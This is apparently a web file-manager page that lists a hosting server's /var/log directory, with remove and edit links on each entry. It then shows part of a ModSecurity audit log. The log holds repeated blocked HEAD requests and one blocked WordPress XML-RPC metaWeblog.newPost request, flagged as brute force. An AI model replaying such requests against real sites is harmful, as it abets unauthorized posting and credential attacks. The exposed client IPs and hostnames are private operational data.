FM / log

/var/log

Name	Size	Mode	Actions
audit/	-	0700	rm
chrony/	-	0750	rm
httpd/	-	0700	rm
imunify360/	-	0700	rm
imunify360_user_logs/	-	1777	rm
mailman/	-	0775	rm
mariadb/	-	0750	rm
nginx/	-	0750	rm
passenger/	-	0750	rm
passenger-analytics/	-	0755	rm
pcp/	-	0775	rm
plesk/	-	0750	rm
plesk-php71-fpm/	-	0750	rm
plesk-php72-fpm/	-	0750	rm
plesk-php73-fpm/	-	0750	rm
plesk-php74-fpm/	-	0750	rm
plesk-php80-fpm/	-	0750	rm
plesk-php81-fpm/	-	0700	rm
plesk-php82-fpm/	-	0700	rm
plesk-php83-fpm/	-	0700	rm
plesk-php84-fpm/	-	0700	rm
plesk-php85-fpm/	-	0700	rm
plesk-roundcube/	-	0750	rm
private/	-	0700	rm
qemu-ga/	-	0755	rm
rear/	-	0755	rm
sa/	-	0755	rm
sssd/	-	0750	rm
sw-cp-server/	-	0750	rm
tuned/	-	0755	rm
boot.log	717	0650	edit dl rm
btmp	0	0660	edit dl rm
btmp-20260901	0	0660	edit dl rm
cloud-init-output.log	631746	0650	edit dl rm
cloud-init.log	783625	0640	edit dl rm
cron	392946	0650	edit dl rm
cron-20260823	6415805	0650	edit dl rm
cron-20260830	6214919	0650	edit dl rm
cron-20260906	6204801	0650	edit dl rm
cron-20260913	5074635	0650	edit dl rm
dnf.librepo.log	884413	0654	edit dl rm
dnf.librepo.log.1	1048394	0654	edit dl rm
dnf.librepo.log.2	1048486	0654	edit dl rm
dnf.librepo.log.3	1048494	0654	edit dl rm
dnf.librepo.log.4	1048412	0654	edit dl rm
dnf.log	790626	0654	edit dl rm
dnf.log-20241020	992972	0654	edit dl rm
dnf.log-20241027	909028	0654	edit dl rm
dnf.log.1	1048306	0654	edit dl rm
dnf.log.2	1048560	0654	edit dl rm
dnf.log.3	1048521	0654	edit dl rm
dnf.log.4	1048494	0654	edit dl rm
dnf.rpm.log	894962	0654	edit dl rm
dnf.rpm.log.1	1048560	0654	edit dl rm
dnf.rpm.log.2	1048561	0654	edit dl rm
dnf.rpm.log.3	1048572	0654	edit dl rm
dnf.rpm.log.4	1048550	0654	edit dl rm
firewalld	0	0650	edit dl rm
firewalld-20241020	186	0640	edit dl rm
firewalld-20241027	0	0640	edit dl rm
hawkey.log	300	0654	edit dl rm
hawkey.log-20260823	7380	0654	edit dl rm
hawkey.log-20260830	8880	0654	edit dl rm
hawkey.log-20260906	8520	0654	edit dl rm
hawkey.log-20260913	7980	0654	edit dl rm
imav-deploy.log	40617	0600	edit dl rm
imunify-agent-proxy.log	413845	0644	edit dl rm
lastlog	2926424	0664	edit dl rm
lfd.log	32603	0650	edit dl rm
lfd.log-20260913.gz	28541	0650	edit dl rm
maillog	1370376	0640	edit dl rm
maillog-20241020	2337077	0640	edit dl rm
maillog-20241027	2777085	0640	edit dl rm
maillog.processed	14157316	0640	edit dl rm
maillog.processed.1.gz	779809	0640	edit dl rm
maillog.processed.2.gz	774443	0640	edit dl rm
maillog.processed.3.gz	751117	0640	edit dl rm
messages	269137377	0650	edit dl rm
messages-20260823	69446086	0650	edit dl rm
messages-20260830	70180755	0650	edit dl rm
messages-20260906	71480017	0650	edit dl rm
messages-20260913	2925912477	0650	edit dl rm
modsec_audit.log	3631052	0654	edit dl rm
modsec_audit.log-20260907.gz	666626	0654	edit dl rm
modsec_audit.log-20260908.gz	1014373	0654	edit dl rm
modsec_audit.log-20260909.gz	771134	0654	edit dl rm
modsec_audit.log-20260910.gz	750991	0654	edit dl rm
modsec_audit.log-20260911.gz	603249	0654	edit dl rm
modsec_audit.log-20260912.gz	898275	0654	edit dl rm
modsec_audit.log-20260913.gz	867095	0654	edit dl rm
mysql-slow.log	0	0654	edit dl rm
mysqld.log	33977	0650	edit dl rm
mysqld.log-20241020	41639300	0644	edit dl rm
mysqld.log-20241027	0	0644	edit dl rm
mysqld.log-20260913.gz	7671	0600	edit dl rm
mysqld.log.1.gz	853	0600	edit dl rm
restic.log	509948	0644	edit dl rm
rkhunter.log	127869	0650	edit dl rm
rkhunter.log.old	6406	0650	edit dl rm
sa-update.log	58376	0654	edit dl rm
sa-update.log-20260601	150563	0654	edit dl rm
sa-update.log-20260701	145410	0654	edit dl rm
sa-update.log-20260801	149853	0654	edit dl rm
sa-update.log-20260901	150403	0654	edit dl rm
secure	102764	0650	edit dl rm
secure-20260823	1811716	0650	edit dl rm
secure-20260830	1948379	0650	edit dl rm
secure-20260906	1915607	0650	edit dl rm
secure-20260913	1488527	0650	edit dl rm
spooler	0	0650	edit dl rm
spooler-20260823	0	0650	edit dl rm
spooler-20260830	0	0650	edit dl rm
spooler-20260906	0	0650	edit dl rm
spooler-20260913	0	0650	edit dl rm
wtmp	311040	0664	edit dl rm
wtmp-20260403	1049472	0664	edit dl rm

Edit: /var/log/modsec_audit.log (3631052B)

--8a041943-A--
[13/Sep/2026:04:48:56.710376 +0300] aqYBCGM7dE9KgIIOpQhbaQAAAME 151.243.174.234 44398 127.0.0.1 7081
--8a041943-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--8a041943-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8a041943-E--

--8a041943-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264136701222 9198 (- - -)
Stopwatch2: 1789264136701222 9198; combined=5013, p1=388, p2=4202, p3=76, p4=7, p5=340, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8a041943-Z--

--5dc78f78-A--
[13/Sep/2026:04:48:58.626973 +0300] aqYBCkwu1RSkptiiNIXsjQAAAJM 151.243.174.251 44400 127.0.0.1 7081
--5dc78f78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.251
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5dc78f78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5dc78f78-E--

--5dc78f78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264138620607 6418 (- - -)
Stopwatch2: 1789264138620607 6418; combined=4215, p1=235, p2=3567, p3=62, p4=6, p5=345, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5dc78f78-Z--

--c6df4b20-A--
[13/Sep/2026:04:49:00.334501 +0300] aqYBDEwu1RSkptiiNIXsjwAAAJc 95.134.102.152 44422 127.0.0.1 7081
--c6df4b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--c6df4b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c6df4b20-E--

--c6df4b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264140326237 8307 (- - -)
Stopwatch2: 1789264140326237 8307; combined=6099, p1=327, p2=5343, p3=100, p4=9, p5=319, sr=123, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6df4b20-Z--

--8fd3ba70-A--
[13/Sep/2026:04:53:59.634847 +0300] aqYCN2M7dE9KgIIOpQhbewAAANE 209.101.128.73 56874 127.0.0.1 7081
--8fd3ba70-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.73
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--8fd3ba70-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8fd3ba70-E--

--8fd3ba70-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264439601799 33118 (- - -)
Stopwatch2: 1789264439601799 33118; combined=8253, p1=3352, p2=4440, p3=84, p4=9, p5=368, sr=1650, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8fd3ba70-Z--

--135cab26-A--
[13/Sep/2026:04:53:59.928805 +0300] aqYCN2M7dE9KgIIOpQhbfAAAANI 45.91.4.92 56878 127.0.0.1 7081
--135cab26-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.92
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--135cab26-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--135cab26-E--

--135cab26-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264439919226 9618 (- - -)
Stopwatch2: 1789264439919226 9618; combined=4595, p1=388, p2=3835, p3=66, p4=8, p5=298, sr=134, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--135cab26-Z--

--5dc78f78-A--
[13/Sep/2026:04:54:00.360258 +0300] aqYCODTJ6xTvcJoem7f09AAAAEk 45.91.4.72 56886 127.0.0.1 7081
--5dc78f78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.72
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5dc78f78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5dc78f78-E--

--5dc78f78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264440352868 7429 (- - -)
Stopwatch2: 1789264440352868 7429; combined=5606, p1=309, p2=4859, p3=99, p4=7, p5=332, sr=123, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5dc78f78-Z--

--6376c723-A--
[13/Sep/2026:04:55:16.432889 +0300] aqYChEwu1RSkptiiNIXspQAAAI8 45.91.4.230 54796 127.0.0.1 7081
--6376c723-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.230
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6376c723-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6376c723-E--

--6376c723-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264516424314 8625 (- - -)
Stopwatch2: 1789264516424314 8625; combined=5964, p1=312, p2=5210, p3=68, p4=7, p5=367, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6376c723-Z--

--5c0f7958-A--
[13/Sep/2026:04:55:20.243231 +0300] aqYCiGM7dE9KgIIOpQhbjQAAANQ 45.91.4.141 54808 127.0.0.1 7081
--5c0f7958-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5c0f7958-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5c0f7958-E--

--5c0f7958-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264520236554 6727 (- - -)
Stopwatch2: 1789264520236554 6727; combined=4775, p1=252, p2=4152, p3=71, p4=11, p5=289, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5c0f7958-Z--

--27288057-A--
[13/Sep/2026:04:55:25.022261 +0300] aqYCjWM7dE9KgIIOpQhbjgAAAMM 45.91.4.18 54826 127.0.0.1 7081
--27288057-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.18
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--27288057-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--27288057-E--

--27288057-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264525015209 7110 (- - -)
Stopwatch2: 1789264525015209 7110; combined=5328, p1=315, p2=4490, p3=215, p4=9, p5=298, sr=94, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--27288057-Z--

--5dc78f78-A--
[13/Sep/2026:04:56:00.899871 +0300] aqYCsCsVWymXUono-eRQZwAAABM 151.243.174.229 40154 127.0.0.1 7081
--5dc78f78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5dc78f78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5dc78f78-E--

--5dc78f78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264560892841 7081 (- - -)
Stopwatch2: 1789264560892841 7081; combined=5233, p1=317, p2=4463, p3=60, p4=6, p5=387, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5dc78f78-Z--

--63c38a5f-A--
[13/Sep/2026:04:56:01.261235 +0300] aqYCsWM7dE9KgIIOpQhbqAAAAMA 151.243.174.112 40168 127.0.0.1 7081
--63c38a5f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.112
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--63c38a5f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--63c38a5f-E--

--63c38a5f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264561245227 16060 (- - -)
Stopwatch2: 1789264561245227 16060; combined=21271, p1=366, p2=4400, p3=107, p4=10, p5=8349, sr=151, sw=0, l=0, gc=8039
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--63c38a5f-Z--

--3e65fa7e-A--
[13/Sep/2026:04:56:01.642921 +0300] aqYCsUwu1RSkptiiNIXsrwAAAIk 95.134.102.153 40174 127.0.0.1 7081
--3e65fa7e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3e65fa7e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3e65fa7e-E--

--3e65fa7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264561631407 11570 (- - -)
Stopwatch2: 1789264561631407 11570; combined=8869, p1=584, p2=7687, p3=133, p4=13, p5=452, sr=361, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e65fa7e-Z--

--fe196269-A--
[13/Sep/2026:04:57:15.065686 +0300] aqYC@2M7dE9KgIIOpQhbsQAAANg 38.129.122.250 42144 127.0.0.1 7081
--fe196269-B--
POST /xmlrpc.php HTTP/1.1
Host: iasipentruviitor.ro
X-Real-IP: 38.129.122.250
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; x86) AppleWebKit/537.36 (KHTML, like Gecko) Safari/13.0.0.0 Safari/537.36

--fe196269-C--
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>80717</string></value></param><param><value><string>80717</string></value></param><param><value><struct><member><name>title</name><value><string>0x5d2d85fe</string></value></member><member><name>description</name><value><string>0x5d2d85fe</string></value></member><member><name>mt_keywords</name><value><string>0x5d2d85fe</string></value></member><member><name>mt_excerpt</name><value><string>0x5d2d85fe</string></value></member></struct></value></param><param><value><boolean>1</boolean></value></param></params></methodCall>
--fe196269-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fe196269-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:04-57.38.129.122.250"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/iasipentruviitor.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789264635002973 62779 (- - -)
Stopwatch2: 1789264635002973 62779; combined=61093, p1=375, p2=60068, p3=0, p4=0, p5=459, sr=149, sw=191, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe196269-Z--

--d035486c-A--
[13/Sep/2026:05:03:27.108827 +0300] aqYEb0wu1RSkptiiNIXsxgAAAIU 151.243.174.180 54438 127.0.0.1 7081
--d035486c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d035486c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d035486c-E--

--d035486c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265007101515 7366 (- - -)
Stopwatch2: 1789265007101515 7366; combined=4842, p1=237, p2=4075, p3=190, p4=8, p5=332, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d035486c-Z--

--855a7c45-A--
[13/Sep/2026:05:03:28.099505 +0300] aqYEcEwu1RSkptiiNIXsxwAAAIc 151.243.174.109 54450 127.0.0.1 7081
--855a7c45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--855a7c45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--855a7c45-E--

--855a7c45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265008086499 13057 (- - -)
Stopwatch2: 1789265008086499 13057; combined=10465, p1=277, p2=9652, p3=156, p4=9, p5=370, sr=151, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--855a7c45-Z--

--24ef961b-A--
[13/Sep/2026:05:03:28.715652 +0300] aqYEcEwu1RSkptiiNIXsyAAAAIg 95.134.102.25 54454 127.0.0.1 7081
--24ef961b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--24ef961b-F--
